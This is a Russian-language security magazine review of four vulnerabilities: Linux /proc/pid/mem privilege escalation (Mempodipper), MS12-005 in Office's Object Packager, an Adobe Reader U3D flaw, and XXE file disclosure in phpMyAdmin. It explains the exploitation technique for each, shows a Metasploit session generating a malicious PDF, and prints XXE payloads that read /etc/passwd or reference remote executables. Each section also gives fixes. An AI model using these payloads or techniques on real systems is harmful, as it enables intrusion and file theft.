Содержание статьи
В этом интереснейшем обзоре мы рассматриваем свежую уязвимость в ядрах Linux, позволяющую без особого труда поднять привилегии в системе, баги в Microsoft Office и Acrobat Reader, а также XXE-инъекцию в phpMyAdmin. Не пропусти!
Локальное повышение привилегий в Linux
- CVSSv2 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C)
BRIEF
Уязвимость связана с интерфейсом /proc//mem (где — идентификатор нужного процесса), который Linux предоставляет для прямой записи в память процесса и чтения из нее. В ядре версии 2.6.39 разработчики убрали директиву #ifdef, исключающую прямую запись в память процесса, поскольку сочли, что этот интерфейс уже достаточно защищен от неавторизованного доступа с помощью других механизмов ядра. На самом деле писать в память процесса может любой пользователь, обладающий достаточными правами. Как оказалось, эти права проверяются не совсем корректно. В итоге получилось то, что получилось: во всех версиях ядра, начиная с 2.6.39, злоумышленник может продвинуть по «карьерной лестнице» до рута любого имеющегося пользователя.
WARNING
Информация представлена исключительно для ознакомления. Редакция не несет ответственности за ее использование в противозаконных целях. Подобные действия влекут за собой уголовное преследование.
EXPLOIT
При открытии интерфейса /proc//mem выполняется такой код:
static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}
Стало быть, на открытие нет никаких ограничений — любой может это сделать. Однако на запись и чтение некоторые ограничения всё-таки установлены. Обратимся к коду функции, которая осуществляет запись (приведена только наиболее важная часть функции):
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
/* ... */
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
/* ... */
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
/* ... */
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
/* ... */
Здесь проводятся две проверки для предотвращения неавторизованной записи: check_mem_permission и self_exec_id. Функция check_mem_permission является простой оберткой для__check_mem_permission, вот что она делает:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
if (task == current)
return mm;
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
mmput(mm);
return ERR_PTR(-EPERM);
}
Чтобы запись прошла успешно, ее должен осуществлять либо сам процесс (task == current), либо родитель, трассирующий этот процесс через ptrace. Различные трюки с ptrace не увенчались успехом, поэтому рассмотрим вариант с task == current. Что если процесс сам запишет нужные нам данные себе в память? Очевидно, что нас в первую очередь интересуют процессы с атрибутом suid. Рассмотрим su:
$ su "yeeeee haw I am a cowboy"
su: user yeeeee haw I am a cowboy does not exist
Легко заметить, что на stderr выдается строка, созданная с нашим участием. Казалось бы, мы можем открыть /proc//mem, с помощью lseek() найти нужное место в памяти, с помощью dup2() связать стандартный поток ошибок и файловый дескриптор открытого /proc//mem, записать нужные данные, а затем исполнить шелл-код. Однако не всё так просто. Здесь выполняется вторая проверка, в ходе которой текущее значение self_exec_id сравнивается со значением, с помощью которого был создан файловый дескриптор /proc//mem. Значение self_exec_id инкрементируется при каждом запуске процесса, поэтому мы не можем получить доступ к памяти вышеизложенным способом.
Тем не менее, эту проверку можно обойти: с помощью fork() мы создаем потомка и внутри него с помощью exec() стартуем новый процесс. Наш форкнутый процесс имеет значение self_exec_id, равное ее значению у предка. Когда мы запускаем exec(), self_exec_id увеличивается на единицу. В нашем потомке мы открываем память предка и создаем файловый дескриптор для /proc//mem, благо на открытие нет проверок. В предке тем временем запускаем su через exec(), таким образом уравнивая значения self_exec_id. Далее с помощью, как выразился сам создатель эксплоита, «очень черной магии сокетов Юникс» передаем предку открытый файловый дескриптор от потомка и возвращаемся к вышеупомянутому сценарию dup2 -> exec.
Осталось понять, по какому адресу делать запись. По идее, ASLR должен затруднить нашу задачу, однако взгляни на это:
$ readelf -h /bin/su | grep Type
Type: EXEC (Executable file)
Вывод нам как бы намекает, что программа su использует статический адрес секции .text (в ином случае был бы тип DYN, а не EXEC). Это означает, что su в большинстве дистрибутивов скомпилирована без использования PIE, следовательно, ASLR для секции .text работать не будет, что упрощает написание эксплоита.
Исходный код эксплоита Mempodipper доступен на exploit-db.com, EDB-ID 18411. Пример его использования представлен на скриншоте.
TARGETS
Linux >=2.6.39, 32- и 64-битные.
SOLUTION
Доверь обновление ядра своему пакетному менеджеру или установи патч вручную.
Хакер #158. Взломать Wi-Fi за 10 часов
MS12-005 Уязвимость процесса сборки
- CVSSv2 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
BRIEF
Найденная уязвимость позволяет выполнить произвольный код на удаленной системе с правами текущего пользователя. Для этого пользователь уязвимой системы должен зайти на специально сформированную web-страницу или открыть злонамеренный файл Office. Уязвимость присутствует в механизме безопасности Object Packager. Дело в том, что Object Packager считает ClickOnce-файл безопасным, благодаря чему файл такого типа можно внедрить в документ Office. Когда пользователь уязвимой системы открывает документ, внедренный файл автоматически выполняется. Напомню, что ClickOnce — это технология развертывания, позволяющая создавать самообновляемые приложения Windows, которые могут устанавливаться и запускаться при минимальном вмешательстве пользователя. Существует три способа публикации приложения ClickOnce: с веб-страницы, общего сетевого ресурса или носителя, например компакт-диска. Его можно установить на компьютер конечного пользователя и запустить локально, даже если компьютер не подключен к сети, или запустить в оперативном режиме, без установки каких-либо компонентов на компьютер конечного пользователя. При этом приложения ClickOnce могут обновляться самостоятельно, проверяя наличие доступных новых версий и автоматически заменяя все обновленные файлы.
Для реализации атаки в данном случае используем специальным образом сформированный файл презентации PowerPoint. Эта программа позволяет назначить Custom Animation’ы для OLE-пакетов. В отличие от обычных анимаций, мы можем задать две специфичные для OLE анимации (которые называются Object Actions): Activate Contents (активировать содержимое) и Edit Package (редактировать пакет). При Activate Contents выполняются те же действия, что и при двойном щелчке пользователя по встроенному объекту. Таким образом, Custom Animation’ы позволяют выполнять указанные последовательности действий, требуемых для запуска встроенного ClickOnce-приложения с полными правами доступа (Full Trust).
В результате выполнения описанных выше действий на экране появится ряд диалоговых окон. Однако пользователю не нужно ничего с ними делать. Custom Animation’ы выполняются, когда PowerPoint работает в режиме показа слайдов. Когда PowerPoint находится в полноэкранном режиме, после выполнения каждого действия анимации происходит восстановление фокуса. После запуска ClickOnce-приложения мы можем посылать сообщения диалоговым окнам, чтобы закрыть их.
EXPLOIT
Уязвимость, описанная в MS12-005, затрагивает два аспекта:
- Метод определения исполняемого файла. Непропатченный packager.dll определяет, является ли файл исполняемым, сопоставляя расширения файлов с элементами таблицы (для удобства назовем ее execExtTable).
.text:02FA1D98 execExtTable dd offset a_exe ; DATA XREF: CPackage::_GetCurrentIcon(_IC *)+69|o .text:02FA1D98 ; CPackage::_GiveWarningMsg(HWND__ *)+5E|o .text:02FA1D98 ; “.exe” .text:02FA1D9C dd offset a_com ; “.com” .text:02FA1DA0 dd offset a_bat ; “.bat” .text:02FA1DA4 dd offset a_lnk ; “.lnk” .text:02FA1DA8 dd offset a_cmd ; “.cmd” .text:02FA1DAC dd offset a_pif ; “.pif” .text:02FA1DB0 dd offset a_scr ; “.scr” .text:02FA1DB4 dd offset a_js ; “.js” .text:02FA1DB8 dd offset a_jse ; “.jse” .text:02FA1DBC dd offset a_vbs ; “.vbs” .text:02FA1DC0 dd offset a_vbe ; “.vbe” .text:02FA1DC4 dd offset a_wsh ; “.wsh” .text:02FA1DC8 dd offset a_sct ; “.sct” .text:02FA1DCC dd offset a_vb ; “.vb” .text:02FA1DD0 dd offset a_wsc ; “.wsc” .text:02FA1DD4 dd offset a_wsf ; “.wsf” .text:02FA1DD8 dd offset a_wmz ; “.wmz”
Просто прокручиваем в цикле эту таблицу и смотрим, имеет ли встроенный файл такое же расширение, как и элемент таблицы. Для этого используется функция IsProgIDInList:
.text:02FA72F4 push 11h ; int .text:02FA72F6 push offset execExtTable ; dangerousTable .text:02FA72FB push esi ; pExtName .text:02FA72FC push 0 ; int .text:02FA72FE call ?IsProgIDInList@@YGHPBG0PBQBGI@Z ; IsProgIDInList(ushort const *,ushort const *,ushort const * const *,uint)
Нюанс состоит в том, что в таблице приведена лишь часть существующих расширений для исполняемых файлов. В качестве примера можно взять py или pl. MS12-005 обходит эту проблему с помощью функции AssocIsDangerous(), которая проверяет расширения исполняемых файлов:
.text:02FA6A11 push eax .text:02FA6A12 call ds:__imp__AssocIsDangerous@4 ; AssocIsDangerous(x) .text:02FA6A18 test eax, eax .text:02FA6A1A jnz short loc_2FA6A42
- Вывод предупреждений системы безопасности пользователю. Пропатченный packager.dll выдает предупреждения, только если файл является исполняемым. Но рассмотрим функцию CPackage___GiveWarningMsg(HWND hWnd). Она вновь проходит по таблице execExtTable, и, если расширение встроенного файла не содержится в execExtTable, никаких предупреждений не выдается.
TARGETS
Windows XP, Windows Vista, Windows Server 2008 SP2, Windows 7.
SOLUTION
Существует обновление, устраняющее эту уязвимость.
Уязвимость в Adobe Reader при обработке U3D-данных
- CVSSv2 10.0 (AV:N/AC:L/Au:N/C:C/I:C/A:C)
BRIEF
Уязвимость вызвана ошибкой при обработке U3D-данных. Такая ошибка может привести к сбою. При успешной эксплуатации эта уязвимость позволяет злоумышленникам установить полный контроль над системой. Для обхода DEP используется ROP-цепочка, основанная на библиотеке icucnv36.dll. Для обхода ASLR выполняется JavaScript-код, реализующий технику heap spraying. Кратко опишем U3D-компоненты, чтобы лучше понимать, какие из них использует сплоит:
- U3D — на текущий момент единственный поддерживаемый подтип и 3D-объект.
- 3DD (необходим) — определяет поток или словарь с 3D-данными, подлежащими рендерингу.
- 3DA (необязателен) — словарь активации, определяющий время, когда следует показывать 3D-данные.
- 3DI (необязателен) — переменная логического типа, определяющая основной режим использования. Значение true соответствует интерактивному режиму, false — взаимодействию через JavaScript.
- DIS (необязателен) — имя, определяющее состояние 3D-данных при деактивации.
- A — имя, под которым должна быть активирована аннотация.
- PO — аннотация должна активироваться, как только открывается страница, содержащая аннотацию на 3D-данные.
EXPLOIT
Последовательность запуска объектов:
- Объект 4 — действие OpenAction инициирует обращение к JavaScript.
- Объект 14 — JavaScript ссылается на объект 15.
- Объект 15 — JavaScript-код применяет технику heap spraying, затем переходит на вторую страницу.
- Объект 11 — определение 3D-данных и описание их форматирования.
- Объект 10 — 3D-данные, которые будут показываться (вероятно, поврежденные).
Объекты, на которые следует обратить внимание:
- Объект 10 — ссылается на именованные словари (/3D, /U3D).
- Объект 11 — ссылается на именованные словари (/3DI, /3DD, /3D, /3DA).
- Объект 15 — содержит JavaScript-код для реализации heap spraying и перенаправления на вторую страницу (инициирует процесс отображения 3D-данных).
Сплоит реализован в Metasploit (пример с полезной нагрузкой в виде запуска калькулятора):
msf > use exploit/windows/fileformat/adobe_reader_u3d
msf exploit(adobe_reader_u3d) > set payload windows/exec
payload => windows/exec
msf exploit(adobe_reader_u3d) > set cmd calc.exe
cmd => calc.exe
msf exploit(adobe_reader_u3d) > show options
Module options (exploit/windows/fileformat/adobe_reader_u3d):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.pdf yes The file name.
OBFUSCATE falsenoEnable JavaScript obfuscation
Payload options (windows/exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD calc.exe yes The command string to execute
EXITFUNC process yes Exit technique: seh, thread, process, none
Exploit target:
Id Name
-- ----
0 Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 on Win XP SP3
msf exploit(adobe_reader_u3d) > exploit
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /home/pikofarad/.msf4/local/msf.pdf
TARGETS
Adobe Reader 9.4.0 / 9.4.5 / 9.4.6 под Windows XP SP3.
SOLUTION
Существует обновление, устраняющее эту уязвимость.
LFI в phpMyAdmin через XXE-инъекцию
- CVSSv2 5.0 (AV:N/AC:L/Au:N/C:P/I:N/A:N)
BRIEF
В начале года исследователь Marco Batista опубликовал весьма интересную уязвимость типа Local File Including. Эксплуатируется она нетривиально, через XXE-инъекцию (XXE — XML eXternal Entity), которая представляет собой разновидность XML-инъекции. Напомню, что при помощи XML-инъекции (например, GET-запроса к веб-серверу) можно изменить содержимое XML-документа. Обычно интерес представляют файлы базы данных xmlDB, где содержится информация о пользователях:
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<userid>0</userid>
<mail>gandalf@middleearth.com</mail>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<userid>500</userid>
<mail>Stefan0@whysec.hmm</mail>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>s4tan@hell.com</mail>
</user>
</users>
Смышленый читатель без труда проведет аналогию с SQL-инъекциями, а я тем временем перейду непосредственно к инъекциям подтипа XXE. В документах XML существуют так называемые примитивы (entities), которые объявляются в начале документа в области DTD. Существует несколько видов примитивов, но сейчас нас интересуют только внешние (external entities). Если в определении примитива присутствует URI, то он называется внешним. Соответственно, парсер должен получить доступ к этому URI и включить его содержимое в документ, если это было задано, например, так:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo
[
<!ELEMENT foo ANY >
<!ENTITY bar SYSTEM "file:///etc/passwd" >
]
>
<foo>&bar;</foo>
Здесь определяется примитив bar, который ссылается на файл /etc/passwd, и при обработке документа его содержимое включается в него. Кстати говоря, в XML-документ можно не только включать локальные и удаленные файлы. В нем можно запускать исполняемые файлы, если парсеру разрешено это делать. По стандарту это выглядит примерно так:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo
[
<!ELEMENT foo ANY>
<!NOTATION GIF SYSTEM "http://my-cool-site.com/ShowGif.exe">
<!ENTITY bar SYSTEM "http://not-my-cool-site.com/bar.gif" NDATA GIF>
]
>
<foo>&bar;</foo>
В этом документе с помощью программы ShowGif.exe обрабатывается рисунок bar.gif. В некоторых случаях мы можем внедрить подобную конструкцию через XML-инъекцию и выполнить требуемый код. Более подробная инфа об XML-инъекциях есть на сайте OWASP.
EXPLOIT
В phpMyAdmin имеется функция импорта базы данных из заданного пользователем XML-файла. Уязвимость заключается в том, что после загрузки специально сформированного XML-документа атакующий получает возможность (ограниченную правами веб-сервера) прочитать произвольный файл в системе или локальной сети.
Уязвимость находится в файле libraries\import\xml.php, где функция simplexml_load_string() вызывается без проверки на существование ссылки на внешний примитив:
$xml = simplexml_load_string($buffer, “SimpleXMLElement”, LIBXML_COMPACT);
Патченные версии phpMyAdmin для предотвращения инъекции используют функцию libxml_disable_entity_loader(), прежде чем загружать XML-документ. Компания SECFORCE разработала модуль к Metasploit для эксплуатации этой уязвимости. Он автоматизирует процесс LFI следующим образом:
- Логинится в phpMyAdmin с помощью предоставленных реквизитов.
- Создает XML-документ, применяя XXE-инъекции для заданного файла.
- Загружает файл с XML-документом.
- Получает указанный файл с сервера.
Возможные опции эксплоита и пример успешной эксплуатации показаны на скриншоте.
TARGETS
PhpMyAdmin 3.4.x вплоть до 3.4.7.1 и 3.3.x вплоть до 3.3.10.5.
SOLUTION
Обновиться минимум до версии phpMyAdmin 3.4.7.1 (3.3.10.5) или установить соответствующий патч.